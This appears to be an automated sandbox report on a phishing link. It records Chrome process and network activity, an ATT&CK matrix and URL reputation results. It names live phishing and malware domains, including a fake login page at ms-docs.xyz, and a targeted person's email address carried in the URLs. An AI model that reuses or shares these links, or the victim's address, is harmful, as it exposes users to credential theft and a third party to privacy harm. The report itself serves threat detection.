Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.9:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.9:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.9:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.9:49850 version: TLS 1.2

Source: classification engine

Classification label: mal76.phis.troj.win@18/19@10/6

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2004,i,5595098114328850437,5737891154846848419,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://oyatsu-jikan.org/#Z2FyeXRocm93JG5hdGlvbmFsdHViZXN1cHBseS5jb20="
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=2004,i,5595098114328850437,5737891154846848419,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.1.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.1.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.1.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.1.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.1.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.1.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	3 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://oyatsu-jikan.org/#Z2FyeXRocm93JG5hdGlvbmFsdHViZXN1cHBseS5jb20=	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://oyatsu-jikan.org/page/2/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-content/uploads/2017/07/OyatsuJapan-300x169.jpg	0%	Avira URL Cloud	safe
https://ofdls.online/#	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-includes/css/dist/block-library/style.min.css?ver=5.9	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/category/bang-dream/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/author/zeroyuki/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-includes/js/jquery/jquery.min.js?ver=3.6.0	0%	Avira URL Cloud	safe
https://autonews.life/range-rover-sport-p550e-2024/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/projects/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/projects/ongoing/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/page/3/	0%	Avira URL Cloud	safe
https://www.ms-docs.xyz/?email=Z2FyeXRocm93QG5hdGlvbmFsdHViZXN1cHBseS5jb20=	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-content/uploads/2017/09/Bandori_14_premux.mkv_snapshot_11.09_2017.08.27_	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/summer-recommendation-made-in-abyss/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-content/themes/mantra/resources/images/pins/Pin2.png);	0%	Avira URL Cloud	safe
https://autonews.life/lexus-gx550-2024/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/projects/dropped/	0%	Avira URL Cloud	safe
https://ozxa.xyz/#	0%	Avira URL Cloud	safe
http://www.cryoutcreations.eu/mantra	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/spring-recommendation-tsugumomo/#comments	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/spring-recommendation-tsugumomo/	0%	Avira URL Cloud	safe
https://ofdls.online/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/xmlrpc.php	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/category/announcement/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/page/26/	0%	Avira URL Cloud	safe
https://www.web-api.top/?email=	100%	Avira URL Cloud	phishing
http://www.aniyoshi.com	100%	Avira URL Cloud	malware
https://oyatsu-jikan.org/category/anime/	0%	Avira URL Cloud	safe
http://www.ascenderfonts.com/info/webfont-eula.aspx	0%	Avira URL Cloud	safe
http://tracker.anime-index.org/index.php?page=torrents&search=Oyatsu&category=0&activ	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/bang-dream-14-ova/#comments	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-content/uploads/2012/08/cropped-Banner.jpg	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-content/uploads/2021/04/01.mkv_snapshot_06.54.134.png	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/playback-guide/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/irc/	0%	Avira URL Cloud	safe
https://www.ms-docs.xyz/?email=	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/robomasters-the-animated-series-01/	0%	Avira URL Cloud	safe
https://www.ms-docs.xyz/auth/resources/segoeui-semilight.ttf	100%	Avira URL Cloud	phishing
https://oyatsu-jikan.org/seijo-no-maryoku-wa-bannou-desu-02/#comments	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/robomasters-the-animated-series-01/#comments	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/robomasters-02-and-were-continuing/	0%	Avira URL Cloud	safe
https://www.ms-docs.xyz/auth?email=garythrow@nationaltubesupply.com&sessid=MTczMzIzNjM0MzI4MjU0OTU5ZWFhNTZkNDI5NmZkZDQ5YTk4NGFlMzg0ZmI5NmNmZDFlY2Y1ODllYzBkZDdiZmU5YTJiNjEzZGJiMWZiNjlhMw==	100%	Avira URL Cloud	phishing
https://autolife.news/obzor-bmw-x6-m60i-2024-goda/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/feed/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/category/news/	0%	Avira URL Cloud	safe
https://www.ms-docs.xyz/auth/?email=garythrow@nationaltubesupply.com&sessid=MTczMzIzNjM0MzI4MjU0OTU5ZWFhNTZkNDI5NmZkZDQ5YTk4NGFlMzg0ZmI5NmNmZDFlY2Y1ODllYzBkZDdiZmU5YTJiNjEzZGJiMWZiNjlhMw==	100%	Avira URL Cloud	phishing
https://oyatsu-jikan.org/wp-login.php	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-content/themes/mantra/resources/css/style-mobile.css?ver=3.3.1	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/regarding-nyaatorrents/#comments	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/xdcc/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/slightly-belated-happy-6th-anniversary/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/about/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/category/robomasters/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/robomasters-02-and-were-continuing/#comments	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/category/uncategorized/	0%	Avira URL Cloud	safe
https://regenbogen-kueche.de/clean/token/referrer=	0%	Avira URL Cloud	safe
http://www.nyaa.eu/?page=torrents&user=126994	0%	Avira URL Cloud	safe
https://www.ms-docs.xyz/auth/resources/segoeui-regular.ttf	100%	Avira URL Cloud	phishing
https://oyatsu-jikan.org/summer-recommendation-made-in-abyss/#respond	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-includes/wlwmanifest.xml	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-content/themes/mantra/style.css?ver=3.3.1	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-content/uploads/2017/12/Oyatsu-Robomasters-The-Animated-Series-02-1280x7	0%	Avira URL Cloud	safe
http://virus123.brokenforums.net/	0%	Avira URL Cloud	safe
http://shini-subs.com/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/visual-novel/	0%	Avira URL Cloud	safe
http://visualnovelaer.fuwanovel.org/	0%	Avira URL Cloud	safe
https://www.ms-docs.xyz/auth/resources/favicon.ico	100%	Avira URL Cloud	phishing
https://oyatsu-jikan.org/seijo-no-maryoku-wa-bannou-desu-01/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-content/uploads/2017/10/01-ss-2-300x169.png	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/comments/feed/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-content/themes/mantra/resources/js/PIE/PIE.php);	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/bang-dream-14-ova/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/seijo-no-maryoku-wa-bannou-desu-01/#comments	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/xmlrpc.php?rsd	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/faqs/	0%	Avira URL Cloud	safe
https://autonews.life/mercedes-amg-cla-35-4matic-2024/	0%	Avira URL Cloud	safe
https://www.ms-docs.xyz/index.php?csrftoken=MTczMzIzNjM0MzI4MjU0OTU5ZWFhNTZkNDI5NmZkZDQ5YTk4NGFlMzg0ZmI5NmNmZDFlY2Y1ODllYzBkZDdiZmU5YTJiNjEzZGJiMWZiNjlhMw==	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/projects/completed/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/seijo-no-maryoku-wa-bannou-desu-02/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-content/uploads/2021/05/02_001_20827.png	0%	Avira URL Cloud	safe
https://autolife.news/audi-a8-2024/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-json/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/it-was-nice-while-it-lasted/#comments	0%	Avira URL Cloud	safe
https://autolife.news/bmw-x7-2024/	0%	Avira URL Cloud	safe
http://www.nozomi-subs.blogspot.in/	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/slightly-belated-happy-6th-anniversary/#comments	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/wp-content/themes/mantra/resources/js/frontend.js?ver=3.3.1	0%	Avira URL Cloud	safe
https://oyatsu-jikan.org/regarding-nyaatorrents/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.ms-docs.xyz	101.99.88.62	true	true	unknown
ofdls.online	101.99.88.67	true	true	unknown
www.google.com	172.217.21.36	true	false	high
oyatsu-jikan.org	176.31.121.57	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.ms-docs.xyz/check.php?tap=GFI0KhbrZPzQmxHwqXlNWHRiuSFjfWxfzpkYoBtrrYdNL38ntzCpN9OGBpr3SJFcT9hWpLQJaK8WjF6Yn1AEGDWnnpFlDpZF6vqlpbOhpFAX2IBz157dbFf5oW2KXv1T	false		unknown
https://www.ms-docs.xyz/?email=Z2FyeXRocm93QG5hdGlvbmFsdHViZXN1cHBseS5jb20=	false	Avira URL Cloud: safe	unknown
https://ofdls.online/	true	Avira URL Cloud: safe	unknown
https://www.ms-docs.xyz/auth/resources/segoeui-semilight.ttf	false	Avira URL Cloud: phishing	unknown
https://www.ms-docs.xyz/auth?email=garythrow@nationaltubesupply.com&sessid=MTczMzIzNjM0MzI4MjU0OTU5ZWFhNTZkNDI5NmZkZDQ5YTk4NGFlMzg0ZmI5NmNmZDFlY2Y1ODllYzBkZDdiZmU5YTJiNjEzZGJiMWZiNjlhMw==	false	Avira URL Cloud: phishing	unknown
